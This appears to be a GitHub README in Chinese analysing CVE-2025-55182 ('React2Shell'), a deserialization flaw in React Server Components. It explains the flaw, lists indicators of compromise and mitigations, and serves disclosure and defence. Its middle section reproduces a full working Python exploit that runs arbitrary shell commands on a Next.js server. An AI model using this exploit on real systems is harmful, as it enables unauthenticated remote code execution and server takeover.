AdityaBhatt3010/React2Shell-CVE-2025-55182-The-Deserialization-Bug-That-Broke-the-Web

GitHub: AdityaBhatt3010/React2Shell-CVE-2025-55182-The-Deserialization-Bug-That-Broke-the-Web

针对 CVE-2025-55182(React2Shell)的安全研究文档,深入剖析 React Server Components 中不安全反序列化漏洞的原理、利用方式及防御策略。

Stars: 7 | Forks: 0

# **React2Shell (CVE-2025-55182): 摧毁 Web 的反序列化漏洞** ⚡ ### React2Shell, CVE-2025-55182, RCE 漏洞:深入剖析 React Server Components 中的不安全反序列化缺陷,该缺陷允许在默认的 React/Next.js 环境中进行未经身份验证的远程代码执行。 # ⏩ **TL;DR (内容提要)** React2Shell (CVE-2025-55182) 是一个影响 React 19.x 和 Next.js 等框架中 React Server Components (RSC) 的**严重远程代码执行 (RCE)** 漏洞。该缺陷在于 “Flight” 协议数据块的**不安全反序列化**,允许攻击者注入恶意结构,这些结构解析为 **Function 构造函数**,从而导致在服务器上执行任意 JavaScript。 * 适用于**默认配置** * **无需身份验证** * 利用标准的 **multipart/form-data** 请求 * 导致**完全接管服务器** * 公开 PoC 已存在(已在下文注明) * 缓解措施:更新至 **React 19.2.1+ / Next.js 修补版本** ![React2Shell](https://static.pigsec.cn/wp-content/uploads/repos/2026/03/43289e1640183848.jpg)
# 👋 **介绍** 引入 React Server Components 旨在通过更无缝、可组合的工作流来桥接客户端/服务器渲染。为此,React 使用了一种称为 **Flight 协议**的自定义类二进制序列化通道。 不幸的是,该协议的反序列化逻辑包含一个微妙的缺陷,允许攻击者将恶意载荷偷偷送入 React 的运行时。 结果呢? 一个完整的、未经身份验证的**远程代码执行链**,现在被称为 **React2Shell** —— 是的,其影响在规模和易用性上可与 Log4Shell 媲美。🔥 本文以一种清晰、可操作的格式分解了该漏洞 —— 非常适合 VAPT 从业者、研究人员和防御者。 # 🧠 **漏洞解析 (通俗易懂版 React2Shell)** ## 🧩 **1. React 的 Flight 协议如何工作** RSC 通过发送序列化的“块”与客户端通信,这些块代表引用、对象、组件元数据、异步边界等。 当这些块到达服务器或客户端时,React 将它们**反序列化**回对象和函数。 此过程假设数据结构是安全的。 这就是事情出错的地方。 ## 💥 **2. 核心缺陷:不安全反序列化 → Function 构造函数 → RCE** 攻击者找到了一种制作恶意块的方法,其中包含: * 原型访问器 * 伪造的类 Promise 对象 (`thenables`) * 引用原型链的键 * 最终暴露 **Function 构造函数** 的路径 示例模式: ``` "$then": { "constructor": { "prototype": null } } ``` 在反序列化过程中,React 将此对象解释为 thenable 并调用: ``` promise.then(...) ``` 但在这里,`then` 实际上是 **Function 构造函数**,因此调用变为: ``` (new Function("malicious_payload"))(); ``` 这导致在运行 React Server Components 的 Node.js 环境内发生**任意 JavaScript 执行**。 轰 —— 你获得了 RCE。 ## 🚨 **3. 为什么它如此危险** * 不需要身份验证 * 适用于默认的 Next.js 应用 * 不需要特殊配置或标志 * 简单的 HTTP POST 请求 * 导致完全沦陷:文件写入、进程生成、横向移动 这就是为什么云供应商、安全团队和 CERT 在此漏洞公开后立即做出反应。 # 🚨 **入侵指标** ## 📡 **网络 IoCs** * 多部分 POST 请求发送至: * `/react` * `/rsc` * `/server`, `/flight`, `/server-actions` * 包含以下键的载荷: * `$then` * `$proto` * `$constructor` * `$type` ## 🖥️ **主机级 IoCs** * 可疑的 Node.js 执行,例如: node -e "" * 以下位置出现的意外文件: * `/tmp/react-rce-*` * `/var/tmp/node-rce-*` ## 🧭 **行为 IoCs** * 执行异常之前的 Hydration 不匹配日志 * 突然向可疑 IP 发起的出站连接 * RSC 反序列化处理程序崩溃 * 服务器返回异常或格式错误的 Flight 块 # 🧪 **PoC** ⚠️ **重要提示**
我 *不* 拥有此 PoC。
它引用自以下公开代码库,完全归功于作者:
👉 **[https://github.com/msanft/CVE-2025-55182](https://github.com/msanft/CVE-2025-55182)** ### ⚠️ **免责声明:**
以下概念验证 仅为 **教育和防御性网络安全研究** 提供。
必须 **仅在隔离的实验室环境** 中执行,或者在您拥有 **明确授权** 进行测试的系统上执行。
滥用此代码进行未经授权的访问、利用或系统破坏是 **非法、不道德的,并受到网络安全法律的惩罚**。
请负责任地操作。 🛡️💻
以下是完整的 PoC: ``` # 致谢:https://github.com/msanft/CVE-2025-55182 # 请勿在生产环境中运行。仅供研究使用。 # /// script # dependencies = ["requests"] # /// import requests import sys import json BASE_URL = sys.argv[1] if len(sys.argv) > 1 else "http://localhost:3000" EXECUTABLE = sys.argv[2] if len(sys.argv) > 2 else "id" crafted_chunk = { "then": "$1:__proto__:then", "status": "resolved_model", "reason": -1, "value": '{"then": "$B0"}', "_response": { "_prefix": f"var res = process.mainModule.require('child_process').execSync('{EXECUTABLE}',{{'timeout':5000}}).toString().trim(); throw Object.assign(new Error('NEXT_REDIRECT'), {{digest:`${{res}}`}});", # If you don't need the command output, you can use this line instead: # "_prefix": f"process.mainModule.require('child_process').execSync('{EXECUTABLE}');", "_formData": { "get": "$1:constructor:constructor", }, }, } files = { "0": (None, json.dumps(crafted_chunk)), "1": (None, '"$@0"'), } headers = {"Next-Action": "x"} res = requests.post(BASE_URL, files=files, headers=headers, timeout=10) print(res.status_code) print(res.text) ``` ### ⚠️ **免责声明:**
如果您执行了此 PoC,请确保您是在 **受控沙箱** 中进行的,而不是在任何生产或第三方资产上。
此演示的存在仅是为了帮助分析师、开发人员和防御者 **理解、检测和缓解** CVE-2025-55182 (React2Shell)。
任何恶意或未经授权使用此信息的行为均被 **严格禁止**,且 **不代表** 作者立场。
保持道德。保持安全。 🐉🔥
# 🛡️ **缓解与防御策略** ### ✅ 1. **立即升级** * React → **19.2.1+** * Next.js → Vercel 发布的修补版本 * 其他启用 RSC 的框架 → 应用供应商补丁 ### 🔐 2. **短期加固** * 为 RSC 反序列化模式添加 WAF 签名 * 阻止可疑的多部分 POST 流量 * 限制对 server-action 端点的公开访问 * 如果不需要,请禁用实验性 RSC 功能 * 强制执行严格的入站请求验证 ### 🧱 3. **纵深防御** * 使用 Node.js 运行时沙箱 * 启用出站网络限制 * 审计意外的服务器端代码执行 * 在日志和构建流水线中添加异常检测 # 👋 **结语 — 保持好奇,保持安全 🔥** React2Shell 有力地提醒我们,序列化层无论多么优雅,仍然是现代框架中最危险的组件之一。一旦任意对象在未经验证的情况下接触运行时,通往 RCE 的链条就会变得短得可怕。 感谢阅读 —— 一如既往,保持道德黑客精神,不断学习,让安全之火持续燃烧。 🔥🐉 # ⭐ **关注我与联系** 如果您喜欢这篇文章或想关注我的网络安全研究: 🔗 **GitHub:** [https://github.com/AdityaBhatt3010](https://github.com/AdityaBhatt3010)
💼 **LinkedIn:** [https://www.linkedin.com/in/adityabhatt3010/](https://www.linkedin.com/in/adityabhatt3010/)
✍️ **Medium:** [https://medium.com/@adityabhatt3010](https://medium.com/@adityabhatt3010)
标签:0day, CISA项目, CVE-2025-55182, Exploit, Flight协议, JavaScript安全, Log4Shell同级漏洞, MITM代理, PoC, RCE, React 19, React2Shell, React Server Components, RSC, VAPT, Web安全, 中间件安全, 任意代码执行, 反序列化漏洞, 数据可视化, 暴力破解, 服务器接管, 服务端攻击, 未授权访问, 漏洞分析, 编程工具, 网络安全, 蓝队分析, 路径探测, 远程代码执行, 逆向工具, 隐私保护, 高危漏洞